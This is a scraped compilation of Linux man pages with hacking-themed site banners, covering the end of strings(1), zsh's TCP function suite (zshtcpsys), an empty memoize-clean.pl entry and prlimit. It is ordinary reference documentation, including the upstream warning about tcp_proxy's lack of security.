Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment, and instead rely upon the setting of the –encoding option. The other values for this option automatically enable –encoding=S. The –unicode=invalid option treats them as non-graphic characters and hence not part of a valid string. All the remaining options treat them as valid string characters. The –unicode=locale option displays them in the current locale, which may or may not support UTF-8 encoding. The –unicode=hex option displays them as hex byte sequences enclosed between <> characters. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-T bfdname

–target=bfdname

Specify an object code format other than your system’s default format.

-v

-V

–version

Print the program version number on the standard output and exit.

-w

–include-all-whitespace

By default tab and space characters are included in the strings that are displayed, but other whitespace characters, such a newlines and carriage returns, are not. The -w option changes this so that all whitespace characters are considered to be part of a string.

-s

–output-separator

By default, output strings are delimited by a new-line. This option allows you to supply any string to be used as the output record separator. Useful with –include-all-whitespace where strings may contain new-lines internally.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), nm (1), objdump (1), ranlib (1), readelf (1) and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

514 - Linux cli command zshtcpsys

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshtcpsys and provides detailed information about the command zshtcpsys, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshtcpsys.

NAME 🖥️ zshtcpsys 🖥️

zsh tcp system

DESCRIPTION

A module zsh/net/tcp is provided to provide network I/O over TCP/IP from within the shell; see its description in zshmodules(1). This manual page describes a function suite based on the module. If the module is installed, the functions are usually installed at the same time, in which case they will be available for autoloading in the default function search path. In addition to the zsh/net/tcp module, the zsh/zselect module is used to implement timeouts on read operations. For troubleshooting tips, consult the corresponding advice for the zftp functions described in zshzftpsys(1).

There are functions corresponding to the basic I/O operations open, close, read and send, named tcp_open etc., as well as a function tcp_expect for pattern match analysis of data read as input. The system makes it easy to receive data from and send data to multiple named sessions at once. In addition, it can be linked with the shell’s line editor in such a way that input data is automatically shown at the terminal. Other facilities available including logging, filtering and configurable output prompts.

To use the system where it is available, it should be enough to `autoload -U tcp_open’ and run tcp_open as documented below to start a session. The tcp_open function will autoload the remaining functions.

TCP USER FUNCTIONS

Basic I/O

tcp_open [ -qz ] host port [ sess ]

tcp_open [ -qz ] [ -s sess | -l sess[,…] ] …

tcp_open [ -qz ] [ -a fd | -f fd ] [ sess ] Open a new session. In the first and simplest form, open a TCP connection to host host at port port; numeric and symbolic forms are understood for both.

If sess is given, this becomes the name of the session which can be used to refer to multiple different TCP connections. If sess is not given, the function will invent a numeric name value (note this is not the same as the file descriptor to which the session is attached). It is recommended that session names not include `funny’ characters, where funny characters are not well-defined but certainly do not include alphanumerics or underscores, and certainly do include whitespace.

In the second case, one or more sessions to be opened are given by name. A single session name is given after -s and a comma-separated list after -l; both options may be repeated as many times as necessary. A failure to open any session causes tcp_open to abort. The host and port are read from the file .ztcp_sessions in the same directory as the user’s zsh initialisation files, i.e. usually the home directory, but $ZDOTDIR if that is set. The file consists of lines each giving a session name and the corresponding host and port, in that order (note the session name comes first, not last), separated by whitespace.

The third form allows passive and fake TCP connections. If the option -a is used, its argument is a file descriptor open for listening for connections. No function front-end is provided to open such a file descriptor, but a call to `ztcp -l port’ will create one with the file descriptor stored in the parameter $REPLY. The listening port can be closed with `ztcp -c fd’. A call to `tcp_open -a fd’ will block until a remote TCP connection is made to port on the local machine. At this point, a session is created in the usual way and is largely indistinguishable from an active connection created with one of the first two forms.

If the option -f is used, its argument is a file descriptor which is used directly as if it were a TCP session. How well the remainder of the TCP function system copes with this depends on what actually underlies this file descriptor. A regular file is likely to be unusable; a FIFO (pipe) of some sort will work better, but note that it is not a good idea for two different sessions to attempt to read from the same FIFO at once.

If the option -q is given with any of the three forms, tcp_open will not print informational messages, although it will in any case exit with an appropriate status.

If the line editor (zle) is in use, which is typically the case if the shell is interactive, tcp_open installs a handler inside zle which will check for new data at the same time as it checks for keyboard input. This is convenient as the shell consumes no CPU time while waiting; the test is performed by the operating system. Giving the option -z to any of the forms of tcp_open prevents the handler from being installed, so data must be read explicitly. Note, however, this is not necessary for executing complete sets of send and read commands from a function, as zle is not active at this point. Generally speaking, the handler is only active when the shell is waiting for input at a command prompt or in the vared builtin. The option has no effect if zle is not active; `[[ -o zle]]’ will test for this.

The first session to be opened becomes the current session and subsequent calls to tcp_open do not change it. The current session is stored in the parameter $TCP_SESS; see below for more detail about the parameters used by the system.

The function tcp_on_open, if defined, is called when a session is opened. See the description below.

tcp_close [ -qn ] [ -a | -l sess[,…] | sess … ]
Close the named sessions, or the current session if none is given, or all open sessions if -a is given. The options -l and -s are both handled for consistency with tcp_open, although the latter is redundant.

If the session being closed is the current one, $TCP_SESS is unset, leaving no current session, even if there are other sessions still open.

If the session was opened with tcp_open -f, the file descriptor is closed so long as it is in the range 0 to 9 accessible directly from the command line. If the option -n is given, no attempt will be made to close file descriptors in this case. The -n option is not used for genuine ztcp session; the file descriptors are always closed with the session.

If the option -q is given, no informational messages will be printed.

tcp_read [ -bdq ] [ -t TO ] [ -T TO ]

[ -a | -u fd[,…] | -l sess[,…] | -s sess … ] Perform a read operation on the current session, or on a list of sessions if any are given with -u, -l or -s, or all open sessions if the option -a is given. Any of the -u, -l or -s options may be repeated or mixed together. The -u option specifies a file descriptor directly (only those managed by this system are useful), the other two specify sessions as described for tcp_open above.

The function checks for new data available on all the sessions listed. Unless the -b option is given, it will not block waiting for new data. Any one line of data from any of the available sessions will be read, stored in the parameter $TCP_LINE, and displayed to standard output unless $TCP_SILENT contains a non-empty string. When printed to standard output the string $TCP_PROMPT will be shown at the start of the line; the default form for this includes the name of the session being read. See below for more information on these parameters. In this mode, tcp_read can be called repeatedly until it returns status 2 which indicates all pending input from all specified sessions has been handled.

With the option -b, equivalent to an infinite timeout, the function will block until a line is available to read from one of the specified sessions. However, only a single line is returned.

The option -d indicates that all pending input should be drained. In this case tcp_read may process multiple lines in the manner given above; only the last is stored in $TCP_LINE, but the complete set is stored in the array $tcp_lines. This is cleared at the start of each call to tcp_read.

The options -t and -T specify a timeout in seconds, which may be a floating point number for increased accuracy. With -t the timeout is applied before each line read. With -T, the timeout applies to the overall operation, possibly including multiple read operations if the option -d is present; without this option, there is no distinction between -t and -T.

The function does not print informational messages, but if the option -q is given, no error message is printed for a non-existent session.

A return status of 2 indicates a timeout or no data to read. Any other non-zero return status indicates some error condition.

See tcp_log for how to control where data is sent by tcp_read.

tcp_send [ -cnq ] [ -s sess | -l sess[,…] ] data

tcp_send [ -cnq ] -a data … Send the supplied data strings to all the specified sessions in turn. The underlying operation differs little from a `print -r’ to the session’s file descriptor, although it attempts to prevent the shell from dying owing to a SIGPIPE caused by an attempt to write to a defunct session.

The option -c causes tcp_send to behave like cat. It reads lines from standard input until end of input and sends them in turn to the specified session(s) exactly as if they were given as data arguments to individual tcp_send commands.

The option -n prevents tcp_send from putting a newline at the end of the data strings.

The remaining options all behave as for tcp_read.

The data arguments are not further processed once they have been passed to tcp_send; they are simply passed down to print -r.

If the parameter $TCP_OUTPUT is a non-empty string and logging is enabled then the data sent to each session will be echoed to the log file(s) with $TCP_OUTPUT in front where appropriate, much in the manner of $TCP_PROMPT.

Session Management

tcp_alias [ -q ] alias**=**sess

tcp_alias [ -q ] [ alias … ]

tcp_alias -d [ -q ] alias … This function is not particularly well tested.

The first form creates an alias for a session name; alias can then be used to refer to the existing session sess. As many aliases may be listed as required.

The second form lists any aliases specified, or all aliases if none.

The third form deletes all the aliases listed. The underlying sessions are not affected.

The option -q suppresses an inconsistently chosen subset of error messages.

tcp_log [ -asc ] [ -n | -N ] [ logfile ]
With an argument logfile, all future input from tcp_read will be logged to the named file. Unless -a (append) is given, this file will first be truncated or created empty. With no arguments, show the current status of logging.

With the option -s, per-session logging is enabled. Input from tcp_read is output to the file logfile**.**sess. As the session is automatically discriminated by the filename, the contents are raw (no $TCP_PROMPT). The option -a applies as above. Per-session logging and logging of all data in one file are not mutually exclusive.

The option -c closes all logging, both complete and per-session logs.

The options -n and -N respectively turn off or restore output of data read by tcp_read to standard output; hence `tcp_log -cn’ turns off all output by tcp_read.

The function is purely a convenient front end to setting the parameters $TCP_LOG, $TCP_LOG_SESS, $TCP_SILENT, which are described below.

tcp_rename old new
Rename session old to session new. The old name becomes invalid.

tcp_sess [ sess [ command [ arg … ] ] ]
With no arguments, list all the open sessions and associated file descriptors. The current session is marked with a star. For use in functions, direct access to the parameters $tcp_by_name, $tcp_by_fd and $TCP_SESS is probably more convenient; see below.

With a sess argument, set the current session to sess. This is equivalent to changing $TCP_SESS directly.

With additional arguments, temporarily set the current session while executing `command arg …’. command is re-evaluated so as to expand aliases etc., but the remaining args are passed through as that appear to tcp_sess. The original session is restored when tcp_sess exits.

Advanced I/O

tcp_command send-optionsend-argument … This is a convenient front-end to tcp_send. All arguments are passed to tcp_send, then the function pauses waiting for data. While data is arriving at least every $TCP_TIMEOUT (default 0.3) seconds, data is handled and printed out according to the current settings. Status 0 is always returned.

This is generally only useful for interactive use, to prevent the display becoming fragmented by output returned from the connection. Within a programme or function it is generally better to handle reading data by a more explicit method.

tcp_expect [ -q ] [ -p var | -P var ] [ -t TO | -T TO ]

[ -a | -s sess | -l sess[,…] ] pattern … Wait for input matching any of the given patterns from any of the specified sessions. Input is ignored until an input line matches one of the given patterns; at this point status zero is returned, the matching line is stored in $TCP_LINE, and the full set of lines read during the call to tcp_expect is stored in the array $tcp_expect_lines.

Sessions are specified in the same way as tcp_read: the default is to use the current session, otherwise the sessions specified by -a, -s, or -l are used.

Each pattern is a standard zsh extended-globbing pattern; note that it needs to be quoted to avoid it being expanded immediately by filename generation. It must match the full line, so to match a substring there must be a `*’ at the start and end. The line matched against includes the $TCP_PROMPT added by tcp_read. It is possible to include the globbing flags `#b’ or `#m’ in the patterns to make backreferences available in the parameters $MATCH, $match, etc., as described in the base zsh documentation on pattern matching.

Unlike tcp_read, the default behaviour of tcp_expect is to block indefinitely until the required input is found. This can be modified by specifying a timeout with -t or -T; these function as in tcp_read, specifying a per-read or overall timeout, respectively, in seconds, as an integer or floating-point number. As tcp_read, the function returns status 2 if a timeout occurs.

The function returns as soon as any one of the patterns given match. If the caller needs to know which of the patterns matched, the option -p var can be used; on return, $var is set to the number of the pattern using ordinary zsh indexing, i.e. the first is 1, and so on. Note the absence of a `$’ in front of var. To avoid clashes, the parameter cannot begin with `_expect’. The index -1 is used if there is a timeout and 0 if there is no match.

The option -P var works similarly to -p, but instead of numerical indexes the regular arguments must begin with a prefix followed by a colon: that prefix is then used as a tag to which var is set when the argument matches. The tag timeout is used if there is a timeout and the empty string if there is no match. Note it is acceptable for different arguments to start with the same prefix if the matches do not need to be distinguished.

The option -q is passed directly down to tcp_read.

As all input is done via tcp_read, all the usual rules about output of lines read apply. One exception is that the parameter $tcp_lines will only reflect the line actually matched by tcp_expect; use $tcp_expect_lines for the full set of lines read during the function call.

tcp_proxy
This is a simple-minded function to accept a TCP connection and execute a command with I/O redirected to the connection. Extreme caution should be taken as there is no security whatsoever and this can leave your computer open to the world. Ideally, it should only be used behind a firewall.

The first argument is a TCP port on which the function will listen.

The remaining arguments give a command and its arguments to execute with standard input, standard output and standard error redirected to the file descriptor on which the TCP session has been accepted. If no command is given, a new zsh is started. This gives everyone on your network direct access to your account, which in many cases will be a bad thing.

The command is run in the background, so tcp_proxy can then accept new connections. It continues to accept new connections until interrupted.

tcp_spam [ -ertv ] [ -a | -s sess | -l sess[,…] ] cmd [ arg … ]
Execute `cmd [ arg … ]’ for each session in turn. Note this executes the command and arguments; it does not send the command line as data unless the -t (transmit) option is given.

The sessions may be selected explicitly with the standard -a, -s or -l options, or may be chosen implicitly. If none of the three options is given the rules are: first, if the array $tcp_spam_list is set, this is taken as the list of sessions, otherwise all sessions are taken. Second, any sessions given in the array $tcp_no_spam_list are removed from the list of sessions.

Normally, any sessions added by the `-a’ flag or when all sessions are chosen implicitly are spammed in alphabetic order; sessions given by the $tcp_spam_list array or on the command line are spammed in the order given. The -r flag reverses the order however it was arrived it.

The -v flag specifies that a $TCP_PROMPT will be output before each session. This is output after any modification to TCP_SESS by the user-defined tcp_on_spam function described below. (Obviously that function is able to generate its own output.)

If the option -e is present, the line given as `cmd [ arg … ]’ is executed using eval, otherwise it is executed without any further processing.

tcp_talk
This is a fairly simple-minded attempt to force input to the line editor to go straight to the default TCP_SESS.

An escape string, $TCP_TALK_ESCAPE, default `:’, is used to allow access to normal shell operation. If it is on its own at the start of the line, or followed only by whitespace, the line editor returns to normal operation. Otherwise, the string and any following whitespace are skipped and the remainder of the line executed as shell input without any change of the line editor’s operating mode.

The current implementation is somewhat deficient in terms of use of the command history. For this reason, many users will prefer to use some form of alternative approach for sending data easily to the current session. One simple approach is to alias some special character (such as `%’) to `tcp_command –'.

tcp_wait
The sole argument is an integer or floating point number which gives the seconds to delay. The shell will do nothing for that period except wait for input on all TCP sessions by calling tcp_read -a. This is similar to the interactive behaviour at the command prompt when zle handlers are installed.

`One-shot’ file transfer

tcp_point port

tcp_shoot host port This pair of functions provide a simple way to transfer a file between two hosts within the shell. Note, however, that bulk data transfer is currently done using cat. tcp_point reads any data arriving at port and sends it to standard output; tcp_shoot connects to port on host and sends its standard input. Any unused port may be used; the standard mechanism for picking a port is to think of a random four-digit number above 1024 until one works.

To transfer a file from host woodcock to host springes, on springes:

tcp_point 8091 >output_file

and on woodcock:

tcp_shoot springes 8091 <input_file

As these two functions do not require tcp_open to set up a TCP connection first, they may need to be autoloaded separately.

TCP USER-DEFINED FUNCTIONS

Certain functions, if defined by the user, will be called by the function system in certain contexts. This facility depends on the module zsh/parameter, which is usually available in interactive shells as the completion system depends on it. None of the functions need be defined; they simply provide convenient hooks when necessary.

Typically, these are called after the requested action has been taken, so that the various parameters will reflect the new state.

tcp_on_alias alias fd When an alias is defined, this function will be called with two arguments: the name of the alias, and the file descriptor of the corresponding session.

tcp_on_awol sess fd
If the function tcp_fd_handler is handling input from the line editor and detects that the file descriptor is no longer reusable, by default it removes it from the list of file descriptors handled by this method and prints a message. If the function tcp_on_awol is defined it is called immediately before this point. It may return status 100, which indicates that the normal handling should still be performed; any other return status indicates that no further action should be taken and the tcp_fd_handler should return immediately with the given status. Typically the action of tcp_on_awol will be to close the session.

The variable TCP_INVALIDATE_ZLE will be a non-empty string if it is necessary to invalidate the line editor display using `zle -I’ before printing output from the function.

(`AWOL’ is military jargon for `absent without leave’ or some variation. It has no pre-existing technical meaning known to the author.)

tcp_on_close sess fd
This is called with the name of a session being closed and the file descriptor which corresponded to that session. Both will be invalid by the time the function is called.

tcp_on_open sess fd
This is called after a new session has been defined with the session name and file descriptor as arguments. If it returns a non-zero status, opening the session is assumed to fail and the session is closed again; however, tcp_open will continue to attempt to open any remaining sessions given on the command line.

tcp_on_rename oldsess fd newsess
This is called after a session has been renamed with the three arguments old session name, file descriptor, new session name.

tcp_on_spam sess command …
This is called once for each session spammed, just before a command is executed for a session by tcp_spam. The arguments are the session name followed by the command list to be executed. If tcp_spam was called with the option -t, the first command will be tcp_send.

This function is called after $TCP_SESS is set to reflect the session to be spammed, but before any use of it is made. Hence it is possible to alter the value of $TCP_SESS within this function. For example, the session arguments to tcp_spam could include extra information to be stripped off and processed in tcp_on_spam.

If the function sets the parameter $REPLY to `done’, the command line is not executed; in addition, no prompt is printed for the -v option to tcp_spam.

tcp_on_unalias alias fd
This is called with the name of an alias and the corresponding session’s file descriptor after an alias has been deleted.

TCP UTILITY FUNCTIONS

The following functions are used by the TCP function system but will rarely if ever need to be called directly.

tcp_fd_handler This is the function installed by tcp_open for handling input from within the line editor, if that is required. It is in the format documented for the builtin `zle -F’ in zshzle(1) .

While active, the function sets the parameter TCP_HANDLER_ACTIVE to 1. This allows shell code called internally (for example, by setting tcp_on_read) to tell if is being called when the shell is otherwise idle at the editor prompt.

tcp_output [ -q ] -P prompt -F fd -S sess
This function is used for both logging and handling output to standard output, from within tcp_read and (if $TCP_OUTPUT is set) tcp_send.

The prompt to use is specified by -P; the default is the empty string. It can contain:

%c Expands to 1 if the session is the current session, otherwise 0. Used with ternary expressions such as `%(c.-.+)’ to output `+’ for the current session and `-’ otherwise.

%f
Replaced by the session’s file descriptor.

%s
Replaced by the session name.

%%
Replaced by a single `%'.

The option -q suppresses output to standard output, but not to any log files which are configured.

The -S and -F options are used to pass in the session name and file descriptor for possible replacement in the prompt.

TCP USER PARAMETERS

Parameters follow the usual convention that uppercase is used for scalars and integers, while lowercase is used for normal and associative array. It is always safe for user code to read these parameters. Some parameters may also be set; these are noted explicitly. Others are included in this group as they are set by the function system for the user’s benefit, i.e. setting them is typically not useful but is benign.

It is often also useful to make settable parameters local to a function. For example, `local TCP_SILENT=1’ specifies that data read during the function call will not be printed to standard output, regardless of the setting outside the function. Likewise, `**local TCP_SESS=**sess’ sets a session for the duration of a function, and `local TCP_PROMPT=’ specifies that no prompt is used for input during the function.

tcp_expect_lines Array. The set of lines read during the last call to tcp_expect, including the last ($TCP_LINE).

tcp_filter
Array. May be set directly. A set of extended globbing patterns which, if matched in tcp_output, will cause the line not to be printed to standard output. The patterns should be defined as described for the arguments to tcp_expect. Output of line to log files is not affected.

TCP_HANDLER_ACTIVE
Scalar. Set to 1 within tcp_fd_handler to indicate to functions called recursively that they have been called during an editor session. Otherwise unset.

TCP_LINE
The last line read by tcp_read, and hence also tcp_expect.

TCP_LINE_FD
The file descriptor from which $TCP_LINE was read. ${tcp_by_fd[$TCP_LINE_FD]} will give the corresponding session name.

tcp_lines
Array. The set of lines read during the last call to tcp_read, including the last ($TCP_LINE).

TCP_LOG
May be set directly, although it is also controlled by tcp_log. The name of a file to which output from all sessions will be sent. The output is proceeded by the usual $TCP_PROMPT. If it is not an absolute path name, it will follow the user’s current directory.

TCP_LOG_SESS
May be set directly, although it is also controlled by tcp_log. The prefix for a set of files to which output from each session separately will be sent; the full filename is **${TCP_LOG_SESS}.**sess. Output to each file is raw; no prompt is added. If it is not an absolute path name, it will follow the user’s current directory.

tcp_no_spam_list
Array. May be set directly. See tcp_spam for how this is used.

TCP_OUTPUT
May be set directly. If a non-empty string, any data sent to a session by tcp_send will be logged. This parameter gives the prompt to be used in a file specified by $TCP_LOG but not in a file generated from $TCP_LOG_SESS. The prompt string has the same format as TCP_PROMPT and the same rules for its use apply.

TCP_PROMPT
May be set directly. Used as the prefix for data read by tcp_read which is printed to standard output or to the log file given by $TCP_LOG, if any. Any `%s’, `%f’ or `%%’ occurring in the string will be replaced by the name of the session, the session’s underlying file descriptor, or a single `%’, respectively. The expression `%c’ expands to 1 if the session being read is the current session, else 0; this is most useful in ternary expressions such as `%(c.-.+)’ which outputs `+’ if the session is the current one, else `-'.

If the prompt starts with %P, this is stripped and the complete result of the previous stage is passed through standard prompt %-style formatting before being output.

TCP_READ_DEBUG
May be set directly. If this has non-zero length, tcp_read will give some limited diagnostics about data being read.

TCP_SECONDS_START
This value is created and initialised to zero by tcp_open.

The functions tcp_read and tcp_expect use the shell’s SECONDS parameter for their own timing purposes. If that parameter is not of floating point type on entry to one of the functions, it will create a local parameter SECONDS which is floating point and set the parameter TCP_SECONDS_START to the previous value of $SECONDS. If the parameter is already floating point, it is used without a local copy being created and TCP_SECONDS_START is not set. As the global value is zero, the shell elapsed time is guaranteed to be the sum of $SECONDS and $TCP_SECONDS_START.

This can be avoided by setting SECONDS globally to a floating point value using `typeset -F SECONDS’; then the TCP functions will never make a local copy and never set TCP_SECONDS_START to a non-zero value.

TCP_SESS
May be set directly. The current session; must refer to one of the sessions established by tcp_open.

TCP_SILENT
May be set directly, although it is also controlled by tcp_log. If of non-zero length, data read by tcp_read will not be written to standard output, though may still be written to a log file.

tcp_spam_list
Array. May be set directly. See the description of the function tcp_spam for how this is used.

TCP_TALK_ESCAPE
May be set directly. See the description of the function tcp_talk for how this is used.

TCP_TIMEOUT
May be set directly. Currently this is only used by the function tcp_command, see above.

TCP USER-DEFINED PARAMETERS

The following parameters are not set by the function system, but have a special effect if set by the user.

tcp_on_read This should be an associative array; if it is not, the behaviour is undefined. Each key is the name of a shell function or other command, and the corresponding value is a shell pattern (using EXTENDED_GLOB). Every line read from a TCP session directly or indirectly using tcp_read (which includes lines read by tcp_expect) is compared against the pattern. If the line matches, the command given in the key is called with two arguments: the name of the session from which the line was read, and the line itself.

If any function called to handle a line returns a non-zero status, the line is not output. Thus a tcp_on_read handler containing only the instruction `return 1’ can be used to suppress output of particular lines (see, however, tcp_filter above). However, the line is still stored in TCP_LINE and tcp_lines; this occurs after all tcp_on_read processing.

TCP UTILITY PARAMETERS

These parameters are controlled by the function system; they may be read directly, but should not usually be set by user code.

tcp_aliases Associative array. The keys are the names of sessions established with tcp_open; each value is a space-separated list of aliases which refer to that session.

tcp_by_fd
Associative array. The keys are session file descriptors; each value is the name of that session.

tcp_by_name
Associative array. The keys are the names of sessions; each value is the file descriptor associated with that session.

TCP EXAMPLES

Here is a trivial example using a remote calculator.

To create a calculator server on port 7337 (see the dc manual page for quite how infuriating the underlying command is):

tcp_proxy 7337 dc

To connect to this from the same host with a session also named `dc':

tcp_open localhost 7337 dc

To send a command to the remote session and wait a short while for output (assuming dc is the current session):

tcp_command 2 4 + p

To close the session:

tcp_close

The tcp_proxy needs to be killed to be stopped. Note this will not usually kill any connections which have already been accepted, and also that the port is not immediately available for reuse.

The following chunk of code puts a list of sessions into an xterm header, with the current session followed by a star.

print -n “]2;TCP:” ${(k)tcp_by_name:/$TCP_SESS/$TCP_SESS*} “”

TCP BUGS

The function tcp_read uses the shell’s normal read builtin. As this reads a complete line at once, data arriving without a terminating newline can cause the function to block indefinitely.

Though the function suite works well for interactive use and for data arriving in small amounts, the performance when large amounts of data are being exchanged is likely to be extremely poor.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

515 - Linux cli command memoize-clean.pl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command memoize-clean.pl and provides detailed information about the command memoize-clean.pl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the memoize-clean.pl.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

516 - Linux cli command prlimit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command prlimit and provides detailed information about the command prlimit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the prlimit.

NAME 🖥️ prlimit 🖥️

get and set process resource limits

SYNOPSIS

prlimit [options] [–resource[=limits]] [–pid PID]

prlimit [options] [–resource[=limits]] command [argument…]

DESCRIPTION

Given a process ID and one or more resources, prlimit tries to retrieve and/or modify the limits.

When command is given, prlimit will run this command with the given arguments.

The limits parameter is composed of a soft and a hard value, separated by a colon (:), in order to modify the existing values. If no limits are given, prlimit will display the current values. If one of the values is not given, then the existing one will be used. To specify the unlimited or infinity limit (RLIM_INFINITY), the -1 or unlimited string can be passed.

Because of the nature of limits, the soft limit must be lower or equal to the high limit (also called the ceiling). To see all available resource limits, refer to the RESOURCE OPTIONS section.

·

soft:hard Specify both limits.

·

soft: Specify only the soft limit.

·

:hard Specify only the hard limit.

·

value Specify both limits to the same value.

GENERAL OPTIONS

–noheadings

Do not print a header line.

-o, –output list

Define the output columns to use. If no output arrangement is specified, then a default set is used. Use –help to get a list of all supported columns.

-p, –pid

Specify the process id; if none is given, the running process will be used.

–raw

Use the raw output format.

–verbose

Verbose mode.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

RESOURCE OPTIONS

-c, –core[=limits]

Maximum size of a core file.

-d, –data[=limits]

Maximum data size.

-e, –nice[=limits]

Maximum nice priority allowed to raise.

-f, –fsize[=limits]

Maximum file size.

-i, –sigpending[=limits]

Maximum number of pending signals.

-l, –memlock[=limits]

Maximum locked-in-memory address space.

-m, –rss[=limits]

Maximum Resident Set Size (RSS).

-n, –nofile[=limits]

Maximum number of open files.

-q, –msgqueue[=limits]

Maximum number of bytes in POSIX message queues.

-r, –rtprio[=limits]

Maximum real-time priority.

-s, –stack[=limits]

Maximum size of the stack.

-t, –cpu[=limits]

CPU time, in seconds.

-u, –nproc[=limits]

Maximum number of processes.

-v, –as[=limits]

Address space limit.

-x, –locks[=limits]

Maximum number of file locks held.

-y, –rttime[=limits]

Timeout for real-time tasks.

NOTES

The prlimit(2) system call is supported since Linux 2.6.36, older kernels will break this program.

EXAMPLES

prlimit –pid 13134

Display limit values for all current resources.

prlimit –pid 13134 –rss –nofile=1024:4095

Display the limits of the RSS, and set the soft and hard limits for the number of open files to 1024 and 4095, respectively.

prlimit –pid 13134 –nproc=512:

Modify only the soft limit for the number of processes.

prlimit –pid $$ –nproc=unlimited

Set for the current process both the soft and ceiling values for the number of processes to unlimited.

prlimit –cpu=10 sort -u hugefile

Set both the soft and hard CPU time limit to ten seconds and run sort(1).

AUTHORS

- In memory of Dennis M. Ritchie.

SEE ALSO

ulimit(1p), prlimit(2)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The prlimit command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

